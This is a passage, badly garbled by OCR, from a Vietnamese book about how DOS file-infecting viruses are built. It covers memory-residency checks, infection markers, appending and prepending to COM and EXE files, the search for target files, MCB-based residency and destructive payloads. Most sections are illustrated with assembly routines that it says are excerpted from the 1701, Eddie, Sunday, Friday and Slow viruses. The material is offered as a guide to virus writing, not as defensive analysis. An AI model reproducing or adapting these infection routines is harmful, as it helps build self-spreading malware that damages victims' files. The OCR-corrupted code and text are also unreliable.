+ Phan buffer: Chita cdc bién noi tai cua progvi, cdc dit liéu ctia chuong trinh doi tuong,
céc dit liéu nay s& duoc khoi phuc cho file truéc khi quyén diéu khién tra cho chuong trinh doi
tuong.

2/ RF - virus: Do chiém ngét va dugc “pop up “khi cin thiét, RF - virus dugc thiét k& nhu
1 TSR program (chuong trinh thuong trd), nghia 1a, progvi dugc chia 2 phan: Phan install va
Phén than chuong trinh. Phan than c6 cdu tric tuong ty nhu TF - virus, nghia 1a ciing cé 3
phan nho hon phu trach cdc cong viéc khac nhau: 1ay lan, phd hoai, chda dit lieu.

Phén install
Lay
Pha

Buffer

Phin install quan trong, né ¢6 thé khdi quét nhu sau:

D3 ton tai trong ving nh§ 2

\]/No

install ngat va thuong tri Yes

NZ

N%

Tra lai dit lieu

Pha hoai
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N2

Tra quyén diéu khién

IV - Cac Yéu Cau Cho M6t F - Virus.

1/ Tinh tén tai duy nhat: Ciing nhu B virus, viéc kiém tra nay bdo dam cho virus c6 mit
chi mot 14n trong viing nhd, trén file ( tat nhién ta khong xét dén trudng hop nhiéu virus tan
cong mot file).

Yeéu cau nay khong dam bao s& lam gidm thoi gian thi hanh file khi trong viing nhé cé qué
nhiéu ban sao clia mot virus, cling nhu kich thuGc cua file tang 1én qud nhanh dé bi phdt hién
va cling 1am tang thoi gian nap file.

2/ Tinh lay lan: LA yéu cdu bét budc, ddm bao cho su ton tai va phat trién clia virus va
méi duge goi 1a virus. O day, ta khong dé cap dén lay lan ma néi dén t6c do lay. Mot virus
“khoe “phai c6 tdc do lay nhanh va do d6 méi bao dam tinh ton tai.

3/ Tinh pha hoai: Tinh pha hoai doi khi chi do ngau nhién khi logic progvi khong du tr
hét céc trudng hop c6 thé xay ra, hodc do c6 ¥, nhung c6 ¥ ma khong ludng hét hau ciing dan
dén tai hoa vo cuing khiing khiép.

Viéc phat hién F - virus don gian hon B - virus rit nhiéu. Bat ki su tang kich thuGc nao trén file
thi hanh duoc (tit nhién khong phai nhiing file vira duoc dich tir Assembler sang) tir 1k - 5k
déu c6 thé két luan chinh xdc 90% 1a file bi nhiém virus.

Do d6, virus 1am sao phai c6 duoc mot ki thuat nguy trang khéo 1éo dé danh lira dugc hién
tuong nay. Mat khac, progvi dang F quen thudc vé6i cac TCV hon loai B vi thuc chét né ciing
nhu céc chuong trinh khéc chay dugi DOS. Do d6 viéc chay dua da dién ra gitta viéc gay kho
khan cho qu4 trinh theo ddi va co theo dbi dé phat hién cach pha hoai nhim khéc phuc.

5/ Tinh thuong tri: Chi quan trong d6i vdéi loai RF - virus, tuy nhién, s6 lugng RF - virus
kha dong dao nén né dugc néu nhu mot yéu cau.

6/ Tinh ké thira: Diéu ndy it thdy & B - virus, F - virus c6 tiimg “ho “, cdc version sau luon
khic phuc nhiing yéu diém clia ban “version “truéc, dic biét ¢ dac diém thay thé ban cii ban
mdi hon. Diéu nay tao su thi vi cho cdc nha nghién citu. C6 thé ké ra ho Yankee, Vacsina ...

V - Phan Tich Ki Thuat.
1/ Kiém tra tinh ton tai:

a. Trong viing nhé: Chi c6 RF - virus méi dp dung ki thuat nay. C6 nhiéu céch kiém tra, tuy
nhién, cic cach sau thuong hay gap:

+ Tao thém chifc nang cho DOS, dé kiém tra tinh ton tai chi cdn goi chifc niang nay.
C6 thé bién bang cich tao subfunction (chitc ning con) cho mot chifc niang ctia DOS. Gi4 tri
trong thanh ghi s& quyét dinh su ton tai clia virus hay chua. Diéu nay dua vao su kién, néu goi
mot chifc nang 16n hon chidc nang cao nhat ma DOS c6, gid tri AX tra vé s& 1a 0.
Poan mi sau kiém tra tinh ning ctia virus 1701: tao subfunction FFh trong chic nang 4BH cua
DOS. Gid tri tra vé trong DI 1a 55A Ah cho biét virus da ton tai.
; Doan nay trong phan install.

mov AX, 04BFFh

Xxor DI, DI
Xor SI, SI
int 21h
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cmp DI, 55AAh
jne install
jmp exit

; Doan ma nay trong phan than
entry_int21:
cmp AH, 4BH
je cont_1
jmp ...
test:
mov DI, 055AAh

iret

cont_1:
cmp AL, FFh
je test

(1701 virus)

+ So sénh 1 doan mi trong viing nhé véi chinh n6, mot sy chénh du chi 1 byte déu
dan dén lay lan.
(Gia stt ES:AX: dia chi ngat 21h, SI trd dén d4u chuong trinh progvi)

push ES
pop DS ; DS:81: dau progvi
cmp  AX, 02EFh ; offset ngét 21h c6 ding 12 cha virus
jne install
Xor DI, DI ; ES:DI: Poan ma nghi ngo 1a Progvi
mov CX, 6EFh ; So sdnh 6EFh byte
Test:
lodsb
scasb
jne install ; Sai mot byte ciing dan dén viéc install
loop test
Jmp exit
install:
(trich Eddie virus)

b. Trén file: C6 thé c6 cdc cich kiém tra sau:
Kiém tra bang kich thudc .
Kiém tra bing keyvalue.
Kiém tra bing cdch do doan ma.

+ Kiém tra bing kich thuéc: Pugc 4p dung trong nhitng virus dau tién, tuy do chinh
xdc clia né khong caova mit khac ciing khong kiém tra dugc version ctia né, Tuy nhién, viéc
kiém tra nhanh va két qua phu trong qud trinh kiém tra c6 thé dugc dung vé sau nén né dugc
ua chudng.
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; Gia st file da duoc mo

push CS
pop DS

mov DX, offset my_buffer
mov CX, 3

int 21h

jb error

cmp AX, CX
jne error

mov AX, 4202h
xor CX, CX
Xxor DX, DX
int 21h

mov filesize_off , AX
mov filesize_seg, DX
mov AH, 3.EXE header

int 21h
cmp my_buffer [0], 05A4DH
jne cont_0
jmp exit
cont_O:
cmp filesize_seg, 0
ja exit
cmp filesize_off, OF93BH
jbe cont_1
jmp exit
cont_1:
cmp my_buffer[0], OESh
virus
jne lay
mov AX, filesize_off
add AX, 0F959
cmp AX, my_buffer[1]
je exit
la
lay:
exit
error:

(Trich 1701 virus)

; Doc 3 byte ddu va buffer

; Gap 16i

; SO byte doc c6 ding khong ?

; Doi cudi file dé 14y kich thudc file
; K&t qué c6 thé dung vé sau

; Dong file

; File . EXE ?

; Kich thudc file ¢6 16n hon 64Kb

; Filesize byte ?

: Théat néu 16n hon

; C6 phai 1a 1énh nhay néu file c6 thé 1a

; Trir kich thude file cho 1703 byte

; 3 byte cho 1énh nhay

; Néu gid tri ndy bang gid tri lénh nhdy nghia

; kiém tra la ding
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+ Dé khic phuc ki thuat nay, cdc Hacker di néu ra cich kiém tra bing doan ma
keyvalue: gébm vai byte (thudng 1a 5 byte) vao nhitng byte cudi cing cla file. Cic byte
keyvalue nay c6 thé cho biét version ctia virus chang han. Uu diém cuia phuong phap nay 1a ap
dung dugc véi moi file. Poan chuong trinh sau mo ta viéc kiém tra, s6 luong keyvalue clia
kiém tra nay 12 5 c6 gi4 tri 0C8h, OF7h, OE1h, va OE7h.

; Gia st ES:DX 1a ASCIIZ tén file

; md file dé doc

mov AX, 03D04h
int 21h
jb exit
mov filehandler, AX
mov BX, AX
mov AX, 4202h
mov CX, -1
mov DS, -5
int 21h
add AX, 5
mov filesize, AX
mov CX, 5
mov DX, offset my_buffer
mov AX, CS
mov DS, AX
mov AH, 3Fh
int 21h
; Kiém tra my_buffer
mov DI, DX
mov SI, scanbuffer
repne  cmpsb
jne lay
mov AH, 3Eh
int 21h
lay:
scanbuffer
my_buffer db 5 dup (0)
(Trich Sunday virus)

; Cat file handlé

; DOi dén 5 byte cudi cling

; Poc 5 byte cudi file vao my_buffer

: ES:DI - My_buffer
: DS:DI - buffer can so sanh

; Dong file

db 0C8h, OF7h, OE1h, OE7h

+ D6i v6i mot s6 loai virus, viéc kiém tra nay dugc dit ra hang dau, do d6, né doi hoi
phai so sdnh cd mot doan mé that 16n. V€ sau phuong phdp nay khong duge wu chudng vi né
lam giam t&c do thi hanh file. Poan chuong trinh sau minh hoa:

;Gia st con tro file dang dinh vi dén doan nghi ngd 1a dau vao virus

mov
mov
mov
mov
int
76

DI, offset My_buffer
SI, DX

CX, 06EFh

AH, 3

21h

;Doc file, 6EFh byte
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jb lay ;9ai cling lay
cmp AX, CX
jne lay ;Doc thi€u byte ciing lay
Xxor DI, DI
Next:

lodsb
scasb ; DO sai mot byte ciling lay
jne lay
loop next
ret

(Trich Eddie virus).

2/ Ki thuat lay lan: Hai loai virus ¢6 hai cdch lay lan hoan toan khéc nhau, do d6 ki thuat
lay lan ciing s& dé cap thanh 2 phan tuong ting. Tuy vay, van c6 nhiing phdn chung ma ca hai
loai déu phai dung.

a. Cdc ki thudt chung trén file: Du virus loai RF hay TF, d6i tugng lay lan cta ching van 1a
file. Do d6, cdc phuong phédp dinh vi, tinh kich thudc file .... déu giong nhau. Dé c6 thé truy
xudt file, virus phai duy tr céc trudng hgp sau c6 thé xdy ra . D6 1a

Mot file dugc m& véGi ché do doc/ghi phai bao dam khong c6 thudc tinh Sys (hé thong), hoac
Read only (chi doc), hoic Hidden (4n). Do dé can phai ddi lai thuoc tinh file khi can thiét dé
c6 thé truy nhap. Mit khéc, khi mot file dugc cap nhat, ngay gid cap nhat ciing duoc dua vao,
do d6, 1am thay déi gi4 tri ban ddu cta file. Poi khi lai tao ra 15i cho file nay (néu dé ciing 1a
cich kiém tra cia file). Pé khic phuc hai 16i nay, c4ch tot nhat 13 nén déi lai thuoc tinh file,
luu gitt ngay thang tao file dé réi sau d6 tra lai dy di thudc tinh ban dau cho ching.

Mit khdc, mot dia mém c6 nhan bdo vé, néu cd ging ghi lén file cling s& tao 16i. Néu khong
xur 1f 16i nay, that 1a tré tréu néu chi thi hanh mot file don gian ciing dua lai 16i bdo 16i cua
DOS:

“Write on protect disk.

Retry - abort - ignore ? “

.... 1am lic dé bi phat hién. Léi nay dugc DOS kiém soét bang ngat 24h. Do d6, phuong phap
tot nhét nén thay ngat 24h trudc khi thi hanh truy xuat file r6i sau d6 hoan tra.

So d6 tdng qudt ctia mot F - virus trén file 1a :

N

| Thay ngat 24h |

| Lay va dat lai thuoc tinh cua file |
\

[ Lay va luu giit ngay gio tao file |

| Truy xudt file (lay) |

| Dat lai ngay gio tao file cii |

| Dat lai thuoc tinh cua file |

N

| Tré lai ngét 24 cii |
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Ngét 24h méi chi don gian 1a tra lai ma 16i 3 (trd lai quyén diéu khién cho chuong trinh tng
dung chi ra ring sai trong chiic nang DOS).

Doan chuong trinh sau minh hoa cdc ki thuat trén mot céch 16 rang nhat .

; Phan dit liéu

handler dw ? ; Handler cua file s€ m&

attrib dw ? ; Thuoc tinh file

time dw ?

date dw ?

off_int24 dw ? ; Dia chi clia ngét 24h & day
seg_int25 dw ?

off_Filenamedw ? ; Dia chi cua tén file can lay lan

seg_Filename dw ?
; Gia st DS:DX tr6 dén file name, ma cling da duoc cat vao bién off_Filename, seg_Filename
mov AX, 04300h
int 21h ; Lay thudc tinh file

mov attrib, CX

; Lay va thay ngét 24h
mov AX, 3524h
int 21h
mov off_int24h, BX
mov  seg_int24h, ES ; Cat giit dia chi s& tra lai

mov DX, offset New_int24

mov AX, 2524h

int 21h ; Thay ngat 24
; Dat lai thudc tinh

1ds DX, off Filename

Xor CX, CX ; Thudc tinh 0
mov AX, 4301h
int 21h

; Lay thoi gian va ngay thang cap nhat file
mov BX, handler
mov AX, 5700h
int 21h
mov time, DX
mov date, CX
; Phan xu 1y
; Tra lai thoi gian va ngay thang cii cia file
mov BX, handler
mov DX, time
mov CX, date
mov AX, 5701h
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int

; Pong file
mov
int

21h

AH, 3Eh
21h

; Dat lai thudc tinh

1ds DS, off Filename
mov CX, attrib
mov AX, 4301h
int 21h

; Dat lai ngét 024h
1ds DX, off int24
mov AX, 2524h
int 21h

(Trich Sunday virus).

b. K7 thudt dinh vi trén file: O day chi dé cap dén 2 phuong phdp chen ddu va Append file,
mot phuong phap dung cho COM va con lai cho .EXE

+ Chén dau: cdc bude thuc hién phic tap, gom céc tha tuc: xin cap phat viing nhd,
chuyén progvi sang, doc toan bo chuong trinh ti€p theo sau d6 réi ghi lai vao file. Poan
chuong trinh sau minh hoa diéu nay.
; Xin cdp phdt viing nhé 64Kb

mov
mov
int
jae

BX, 1000h
AH, 48h
21h
cont_0

; Chuyén progvi sang

cont_0:
mov
XOr
mov
mov
rep

ES, AX
SI, SI

DI, SI

CX, 0710h
movsb

; Doc tiép chuong trinh doi tuong vao sau

mov
mov

file
mov
push
pop
mov
int
jb

DX, DI
CX, filesize

BX, filehandler
ES

DS

AH, 3Fh

21h

error

; DOi con trd 1én dau file bi ghi

Xor

CX, CX

; Chuyén progvi sang

; DS:DX ngay sau progvi
; CX = s6 luong byte doc vao bang kich thudc
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mov DX, CX
mov AX, 4200h

int 21h ; DI = kich thudc méi

; Ghi file
mov CX, DI ; CX = kich thuéc mdi - s6 byte can ghi
Xxor DX, DX
mov AH, 40h ; DS:DX = buffer vita ti€én hanh xong
int 21h

(Trich Friday virus).

+Append File: Phuong phdp nay chép progvi vao cudi file d6i tugng, tuy theo loai file
s€ ¢6 céch dinh vi khiac nhau. D6i véi file COM, moi chuyén don gian, doi con trd dén cudi
file, ghi progvi vao, budc nhay dau chuong trinh dugc tinh bang kich thudc cii cta file méi trix
di 3 byte. Poan ma sau minh hoa ki thuat nay :

; Mo file
mov AX, 03D02h ; Mg dé doc ghi
int 21h
jb error

; Chuyén dén cudi file
mov BX, AX
mov AX, 4202h

xor CX, CX
Xor DX, DX
int 21h

call writeProgvi

; Chuyén lén dau file gi 1énh nhay
mov AX, 4200h

xor CX, CX

Xor DX, DX

int 21h

jb error

mov AX, filesize
add AX, -2

Dai véi file .EXE, du c6 vé phic tap véi viéc dinh vi lai cdc dau vao, nhung lai dé dang
v6i cdc budc sau :

+ Tinh kich thudc file: c6 thé don gian bing céch doi con trd file dén cudi file, tuy nhién,
thong tin tir . EXE header cling di cho phép tinh kich thudc nay.

+ Ghi progvi vao cudi file, tuong tu file COM.

+ Dinh vi gid tri CS va IP, nén dinh vi lu6n SS va SP.
Poan ma sau minh hoa cich dinh vi :
; Gia st buffer doc file 12 .EXE header, buffer da dugc virus doc 28 byte vao
.EXE_header :

IDFile dw ? ; Gia tri 4D5A 1a file .EXE
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PartPage dw ?
PageCnt dw ?
ReloCnt dw ?
HdrSize dw ?
MinMem dw ?
MaxMem dw ?
ReloSS dw ?
.EXESP dw ?
ChkSum dw ?
.EXEIP dw ?
ReloCS dw ?
TablOff dw ?

; Gid tri kich thudc file s& dugc luu & day
FilesizeHi dw ?
FilesizeLLo dw ?

; Gid tri ddu vao file cii 6 day
SSValue dw ?
SPValue dw ?
IPValue dw ?
CSValue dw ?

; Poan ma chuong trinh

mov ChkSum, 1984h
mov AX, ReloSS
mov SSValue, AX
mov AX, .EXESP
mov SPValue, AX
mov AX, .EXEIP
mov IPValue, AX
mov AX, ReloSS
mov CSValue, AX

; Chinh kich thudc file theo doan

mov
mov
add
adc
and
mov
mov

DX, filesizeHi
AX, FilesiacLo
AX, Fh

DX, 0

AX, FFFOh
filesizeHi, DX
filesizeLo, AX

; Pagesize  dw 200
; Parasize  dw 10h

; Cat céc entry cla
; CS:IP
; SS:SP

; Tinh kich thuéc méi sau khi cong thém progvi

add
adc

AX, 6B4h
DX, 0

Pagesize
DX, DX
next_0

; Kich thuée Progvi 1a 1716 byte

; D6i sang PartPage va PageCnt

; C6 trang du khong
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inc AX
next_0:

mov PageCnt, AX
mov PartPage, DX

; Pinh lai CS, IP, SS, SP
mov AX, filesizeLLo
mov DX, FilesizeHi
div Parasize ; Déi kich thudc file ra doan
sub AX, HdrSise
mov ReloSS, AX

mov .EXEIP, 0 ;PauvaoIP =0
mov ReloSS, AX
mov .EXESP, 07B4 ; Dat lai Stack
; Chuyén dén dau file
xor CX, CX

mov DX, CX
mov AX, 4200h
int 21h
; Ghi lai .EXE header
mov CX, 18h
mov DX, offset .EXEHeader
mov AH, 40h
int 21h
; Doi xudng cudi file dé ghi progvi
mov DX, filesizeLLo
mov CX, filesizeHi
mov AX, 4200h
int 21h
; Ghi file
mov CX, 6B0Oh ; Ghi progvi vao
Xor DX, DX
mov AH, 40h
int 21h
(Trich Slow Virus)

c¢. K7 thudt tim file doi tuong: Diéu quan trong cta virus 12 phai lay lan, do d6, tim kiém 1 file
d6i tugng 12 diéu quan trong.

b6i v6i TF - Virus, quyén diéu khién chi tam thoi giao cho virus. Khi virus chuyén quyén cho
file, n6 khong con anh hudng gi véi file nita vi né khong chiém mot ngét nao kha di cho né c6
thé Popup duoc. Chinh vi diéu nay, viéc tim kiém file doi tugng lay lan 12 mot diéu cap bach.
Do d6, trong progvi ludn luon c6 mot doan ma cho phép virus di tim file dé lay lan.

Thong thuong, virus ding chitc nang 4Eh (Find First) va 4Fh (Find Next) dé tim file. Vi
quyén diéu khién trao cho né qua it i, nén virus “tranh thi “tim kiém cang nhiéu file cang tét,
n6 c6 thé :
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+ Lay toan bo file thi hanh trong thu muc hién hanh. Tuy vay, do 1énh PATH duogc dung
qud nhiéu, tir 1 thu muc chi chita file dit liéu c6 thé goi dugc ma khong bi lay. Do d6, virus di
duoc cai tién.

+ Lay céc file trong cdc thu muc chi ra trong 1énh PATH. Diéu nay vo cing thuan 1¢i, bao
dam quyén ton tai cho virus. Tuy vay, van chua hét.

+ Lay toan bo file trong dia hién hanh. Diéu nay dam bao chi lay mot 1an, tuy vay kich
thudGc dia qué 16n lam thoi gian lay kéo dai, nguoi sit dung dé nhan thay.
Céch tot nhét van 1a tim file trong PATH.
Poan ma sau minh hoa cich tim file trong thu muc hién hanh:
; Viéc tim ki€m gén lién vdi viéc dat lai DTA.

; Gia sit DTA da dugc dat

mov DX, offset filename
mov CX, 3
mov AH, 4Eh
int 21h
jmp Test

FindNext:
mov AH, 4Fh
int 21h

Test:
jae lay ; Néu gap 16i s& kiém tra xem c6 phai “File not
cmp AL, 12h ; found “khong ?

(Trich W - 13 virus)

Doi v6i RF - Virus, moi chuyén lai ¢6 vé don gian hon. DOS 1a mot hé diéu hanh dia hung
manh, bao gém nhiéu chic nang truy xuat dia. Bt ki mot chuong trinh nao chi phéi ngat 21h -
mot ngit chlt yéu ctia DOS - s& ¢6 toan quyén thao téc trén file. Virus tt nhién s& khong bd
qua “miéng moéi “ngon lanh nhu thé.

Trén tit ca cdc RF - virus da bi€t déu chiém ngét 21h, tuy nhién, khong phai bat ki mot chic
nang nao ciing dan dén viéc lay lan, ma chi 1a mot s6 chiic nang nao d6 ma thoi. Thong
thuong, chitc ning thi hanh file 4Bh dugc chi y hon ca. Bat Ki file ndo thi hanh déu phai thong
qua chic nang nay (ké cd COMMAND.COM), mit khdc, cdc tham s6 vao cho phép dinh vi
file nhanh nhat ma khong cén phai tim file . Do dé, ciing ching la gi néu tit ca cic virus di
biét déu chi phai chifc nang con nay. Dé c6 thé tang téc do lay lan, virus c6 thé m& rong pham
vi chi ph6i clia minh bing céch “kiém Iuon mot vai chiic nang khac nhu md file (3Dh), tim
file, ...

V¢ sau, khi stic manh cua viéc dinh vi file d6i tuong cta TF - virus to rd, RF - virus cling da
“tiép thu, n6 da c6 kha nang c6 tim file khac dé lay, khi khong con file nita mdi lay trén file
duoc chi dinh.

Vi du minh hoa c6 thé thay trong phan tich TF - virus.

3/ Ki thuat thuong tri: Ki thuat nay chi 4p dung v6i RF - virus. Thuc chét cua su ra doi
cta TF - virus 1a khoé khan trong viéc giai quyét ki thuat luu trd. Ki thuat nay cho dén nay van
1a mot van dé “md“ cho céc nha nghién ctu va “thiét k& virus.

Diéu kho khan xuét phdt & chd, DOS chi cung cdp chiic ning luu trd cho chuong trinh, nghia
12 chi cho phép toan bo chuong trinh thuong trd. Viéc thudng tri cta virus, do dé ciing dan
dén viéc thudng trd clia chuong trinh doi tuong, ma diéu nay khong thé chap nhan néu kich
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thuéc chuong trinh d6i tugng qué 16n. Céch t6 chic viing nhé ciing khong dugc DOS cong bo
ki cang ciing tao khé khan trong y d6 mudn thudng tra.

Tuy vay, van c6 cdch giai quyét, hodc bang cach sir dung khon khéo céc chiic nang clia DOS,
hodc bang phuong phdp “thil cong* trén chubi MCB. Can ci ki thuat thudng trd duogc thuc hién
truéc hay sau khi chuong trinh d6i twong thi hanh, ¢ thé chia ki thuat thudng trd thanh hai
nhém :

a. Thuong trii trude khi trd quyén diéu khién: Khong cé chitc nang nao clia DOS cho phép
lam diéu nay, do d6 ki thuat nay gén lién vdi tdc vu thi cong trén MCB. Cdc cdch sau da duoc
virus dung dén.

+ Thao téc tréen MCB dé tdch mot khéi viing nhd ra khoi quyén diéu khién clia DOS,
r6i diing viing nhé nay dé chia chuong trinh virus.

Ki thuat nay da dugc minh hoa trong chuong 3, ching ta s& khong dé cap dén. Tuy nhién,
nhugc diém cta n6 la dé bi phat hién, khi dung bat ki mot phdn mém Mapping memory déu c6
thé phdt hién ra chénh léch viing nhé (c6 thé dung lénh CHKDSK clia DOS).

+ Tu dinh vi: Ki thuat nay dua ra dé khic phuc nhugc diém cha ki thuat trén, nhung
lai ¢6 vé may rui. Cach nay dua vao nhiing diéu da biét vé cdch tai cha COMMAND.COM: né
chi dé mot phan chuong trinh thudng trid & ving nhé thdp (néu cé thé dugc), nhiém vu clia
doan nay 1a s& tai phan con lai cha COMMAND.COM vao viing nhg cao rdi trao quyén diéu
khién, phan con lai nay bao goén phan 16n cdc 1énh noi tri ctia DOS, né con c¢é nhiém vu tim va
thi hanh file. Khi quyén diéu khién dugc chuyén cho file, phan ma nay khong con cin thiét
nita va do d6 c6 thé bd di. Néu dé nhitng doan ma nay thudng tri & ving nhé thap rd rang s&
ton nhiéu viing nhé mac du s& khong c6 su tai lai COMMAND.COM khi né bi ghi de. Viéc
ti€t kiém nay cling ¢6 nhiéu nguyén nhan nhung néu ban nhé ring kich thuéc ving nhé cta
nhitng mdy ban dau chi khoang 256 Kb hay t6i da 512 Kb thi diéu nay ciing khong c6 gi 1a la.
Doi v6i mot may c6 RAM 1a 640 Kb (ma bay gio thuong gap), thudng it ¢c6 chuong trinh nao
khai thdc hét khéi lugng viing nhé nay. Di nhién, chuong trinh virus khong thé chiém ngay
viing nhd cao néu khong dung ki thuat trén tich né ra khoi DOS, vi nhu th€ né sé bi
COMMAND.COM ghi deé 1én khi phan thudng trd quyét dinh tai lai COMMAND.COM, cich
giai quyét rat don gian néu virus chiu nhudng viing nhé cao va lui vé mot chdt.

Vi khong cép phat ving nhé cho virus, DOS khong ¢6 mot 1i do gi ma khong cip phat né cho
mot chuong trinh khdc néu ¢6 yéu cdu. Chinh vi diéu ndy, phuong phép tu dinh vi gay nhiéu
tranh cdi trong “noi bo“ cic Hacker vi n6 khong tuan theo mot nguyén tic an toan dif liéu nao.
Dién hinh cho loai virus nay la virus 640, né luon luén xem ring moi mdy déu cé trung binh
640 Kb, do d6 chuong trinh virus s& tu dinh vi & dia chi 09800:0 (32 Kb duéi DOS).

Riéng tdc gia cudn sich nay khong xem né 1a mot cach thudng trd. Tuy vay, né van dugc xem
nhu 12 mot ¢ gang trong viéc qua mat DOS, va van ¢6 uu diém trong viéc tranh khoi sy chénh
léch viing nhé do céc phan mém Map memory mang lai.

+ Thudng trd nhu chiic nang 31h: Pay 1a mot ki thuat phdc tap, doi hoi Hacker phai

c6 su hiéu biét tuong tan khong nhiing vé ciu tric clia viing nhé do DOS quéan 1y ma con
nhing chitc nang Undocumented ciing nhu cich té chitc va thi hanh mot file ctia DOS. Ki
thuat nay c6 thé dugc tém tit nhu sau :
Khi chuong trinh virus dugc trao quyén, né s& tao ra mot MCB duoc khai bdo 1a phan tir trung
gian trong chuéi MCB dé chita chuong trinh virus. Sau do, lai tao ti€p mot MCB méi dé cho
chuong trinh bi nhiém béng cdch doi chuong trinh xu6éng ving mdi ndy. Tuy nhién, mot vin
dé khoé khan dat ra: khi t6 chiic thi hanh mot file, DOS ghi nhé PSP ciia n6 dé cho mot s6
chitc nang ctia DOS dya vao PSP nay ma thi hanh. Do d6, phai lam céch nao d6 dat lai PSP ma
DOS dang luu giit thanh PSP m6i ma chuong trinh virus vita tao ra cho chuong trinh déi tugng.
Diéu nay vo ciing nan giai vi khong ai biét DOS cat PSP & dau, mit khéac néu biét thi trén moi
version lai mdi khdc va khong c6 cach nao dé virus twong thich trén moi mdy.
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May mén thay, qua qud trinh nghién cu nhiing chiic nang Undocumented, cdc thdo chuong
vién lai phdt hién DOS cho phép thay déi PSP béing chic niang 50h. Chiic ning nay nhu sau :

Vao : AH = 50h

BX = gi4 tri PSP méi can thay déi

Ra : Khong

Doan chuong trinh sau mo ta ki thuat nay :
; C6 thé dung a86 dé dich va thudng tri doan chuong trinh nay

mov AX, 7Bh

mov BP, CS
dec BP
mov ES, BP

mov SI, CS:word ptr [16h]

mov word ptr ES:[1], SI
mov DX, word ptr ES:[3]
mov word ptr ES:[3], AX
mov byte ptr ES:[0], 04Dh
sub DX, AX

dec DX
inc BP
mov ES, BP
push BX
mov AH, 50h
mov BX, BP
int 21h
pop BX
Xor DI, DI
push ES
pop SS
push DI
lea DI, EndProg
mov SI, DI
mov CX, offset EndProg+1
push CcX
retf
Next:

mov segs, CS
mov word ptr CS:[36h], CS
dec BP
mov ES, BP
mov word ptr ES:[3], DX
mov byteptr ES:[0], 05SAh
mov word ptr ES:[1], CS
inc BP
mov ES, BP

; Kich thudc virus tinh theo doan

; ES=CS-1 tr6 dén MCB
; Khai bdo phan nay cta
; COMMAND.COM

; L&y kich thuéc MCB quan Ii
; Gén gid tri méi
; Phan tr giita chu6i MCB

; DX=s6 viing nhd ma MCB
; tiép theo quan Ii
; ES tro dén MCB tiép theo
; Cat BX dé gan PSP méi
; Gan BX= BP
; chinh 1a PSP méi

; Ldy lai gid tri c@i
; Chuyén toan bo chuong trinh
; sang vung MCB méi

; Chuyén diéu khién sang viing
; MCB méi

; Gén lai gid tri cho MCB méi la

; 12 phdn tlr cu6i chubi

; Vung nhG quan i bi giam di mot
; moOt doan bang kich thudc virus
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push DS

pop ES
push CS
pop ES
push ES
mov CX, offset Nextl
push CcX
retf
Nextl:

mov word ptr CS:[02Ch], 0
mov word ptr CS:[016h], CS
jmp far dword [offs]

offs dw offset EndP

segs dw 0
EndP:
mov AX, 4CO0h ; Cham dut chuong trinh
int 21h
EndProg:

(Trich 1701 virus)

b. Thuong trii sau khi doat lai quyén diéu khién: Dé thuong trd, mot s6 Hacker da dé nghi
mot phuong phdp vo cing sdng tao, van dua vao cdc chiic nang cua DOS. Céch nay dua vao
phuong phép thi hanh chuong trinh hai 1an ma t6i da dé cap & chuong trude. Cich nay sé 1dy
tén chuong trinh dang thi hanh trong moi trudng DOS t6 chiic, rdi mot l4n nita, né s& thi hanh
ngay chinh ban than minh, sau khi di gidm viing nhé xudng con t6i thiéu. Sau khi file thi hanh
xong, quyén diéu khién bay gio lai trao vé cho virus, va lic ndy né méi ti€n hanh thuong trd
bang chiic nang 31h cia DOS nhu mot chuong trinh binh thudng. Cic buéc ma DOS da dé
nghi nhu sau :

+ Giai phéng viing nhé khong can thiét.
+ Tao EPB.
+ Tim tén file trong khoi moi trudng hién thoi.
+ Duing chiic nang 4B thi hanh chinh né moét 1an nita.
+ Nhan quyén diéu khién tra lai, ding chiic nang 4D dé 14y ma 16i ra clia chwong trinh.
+ Dung chitc nang 31h dé thudng tri v6i BX 1a kich thuéc virus, mi ra (exit code) 12 ma 14y tir
chtic nang 4D.
Poan ma sau minh hoa diéu nay :
; EPB dugc khai bdo ¢ day
EPB:
Env dw 0
Cmd_off dw 80h
cmd_seg dw O

FCBI1_off dw 0

FCBI1_seg dw 05Ch

FCB2_off dw 0

FCB2_seg dw 06Ch
; Khdi tao EPB
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mov CS:PSP_value, ES
mov CS:Cmd_seg, ES
mov CS:FCB1_seg, ES
mov CS:FCB2_seg, ES
; Giai phéng viing nhé
mov ES, CS:PSP_value
mov AH, 04Ah
int 21h
; Tim tén file trong kh6i moi truong
mov ES, PSP_value

mov ES, ES:[2Ch ] ; ES tro dén khéi moi trudng
xor DI, DI ; Tim bing cdch do dau hiéu
mov CX, 7FFFh ; ddu tén file 1a 1 word
xor AL, AL ;00 gid tri 0
Next:
repne  sacsb ; Tim byte 0
cmp ES:[DI], AL ; Byte ti€p theo =0 ?

loopns Next

mov DX, DI

add DX, 3 ; ES:DX tr6 dén tén file
; chudn bi goi chifc niang 4B

mov AX, 4B00Oh

push ES

pop DS ; DS:DX tr6 dén tén file
push CS

pop ES ; ES:BX tr6 dén EPB

mov BX, offset EPB

pushf
call far dword [Old_int21] ; Goi chic nang 4B
; Lay ma 161
mov AH, 4Dh
int 21h
; Thuong trd
mov AH, 31h
mov DX, 06C4h ; Kich thudc virus theo byte
mov CL, 4 ; s& dugc déi sang doan
shr DX, CL
add DX, 10h
int 21h

(Trich Slow virus).



Song phuong phdp nay van c6 han ch€, né khong thé lay lan dugc COMMAND.COM vi khi
COMMAND.COM lén 14n dau tién, né s& khong bao gio tra quyén lai cho virus ca, mat khéc,
s€ khong ¢6 virus nao lay ti€p vi dau hiéu trong viing nhé cho biét virus dang & qua trinh dgi
diéu khién. Do d6, tét ca cdc virus dugc thi€t k& theo phuong phdp nay déu kiém tra tén file
v6i COMMAND.COM trudce khi né lay.

4/ Ki thuat pha hoai:
a.TF - virus: Do TF - virus chi gianh quyén diéu khién c6 mot 1an, n6 khong thé dém gio mot
céch déu dan dugc, do d6 phan 16n cdc TF - virus déu mang tinh phd hoai ngiu nhién va tién
hanh ngay trén file d6i tugng. Viéc phd hoai tuong d6i nho, chi don gian 1a x6a file mot cach
ngiu nhién, déi lai ngiy gid tao file ching han.
b. RF virus: DOoi tuong pha hoai cua virus loai nay phong phd hon, bao gom man hinh, loa, dia
... Phan pha hoai c6 thé 1a cudc “thi tai* gifta cac gidi thuat ngan gon nhung cé hiéu suit cao.
Hiém thay virus nao mang tinh phd hoai tan khoc, nhung sau nay, khi virus dé bi phét hién, n6
da khong con mang tinh hién hoa nita. Ki thuat dém gio, so 1an 1ay giong nhu B virus.
